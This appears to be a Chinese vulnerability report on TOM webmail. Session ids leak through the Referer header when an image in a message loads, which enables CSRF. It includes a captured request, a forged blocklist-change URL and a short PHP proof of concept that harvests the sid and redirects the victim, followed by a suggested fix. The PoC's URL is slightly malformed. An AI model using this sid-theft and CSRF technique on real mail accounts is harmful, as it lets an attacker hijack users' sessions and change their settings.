對于包含圖片的附件,請求附件時Referer中會暴露當前sid,例如:
GET /mblogpic/be654a34c8f4aad1ec6a/2000 HTTP/1.1
Host: t100.qpic.cn
Connection: keep-alive
Cache-Control: max-age=0
If-Modified-Since: Fri, 06 Apr 2012 14:00:09 GMT
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19
Accept: */*
Referer: http://bjapp6.mail.tom.com/coremail/fcg/ldmsapp?funcid=readlett&sid=nAJcHTFziYRAMbTs&mid=1tbiEwEkBkV9AdrAoQAAsy%0A19%0A24%0A1&fid=1&ord=0&desc=1&start=0&fromsearch=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
DNT: 1
攻擊者可以構(gòu)造惡意圖片,獲取該sid,并構(gòu)造重定向?qū)崿F(xiàn)CSRF攻擊,例如添加test@test.com至黑名單:
http://bjapp6.mail.tom.com/cgi/ldapapp?sid=nAJcHTFziYRAMbTs&tempname=options%2Frefuselist.htm&funcid=opuserattr&optype=set&refuselist=test%40test.com&update.x=1
從而實現(xiàn)CSRF攻擊
漏洞證明:
測試代碼:
< ?php
$url = parse_url($_SERVER['HTTP_REFERER']);
$host = $url['host'];
parse_str($url['query']);
$loc = "http:// www.badguest.cn /cgi/ldapapp?sid=$sid&tempname=options%2Frefuselist.htm&funcid=opuserattr&optype=set&refuselist=test%40test.com&update.x=1";
header("Location: $loc");
?>
修復方案:
在URL中隱藏sid屬性,限制GET操作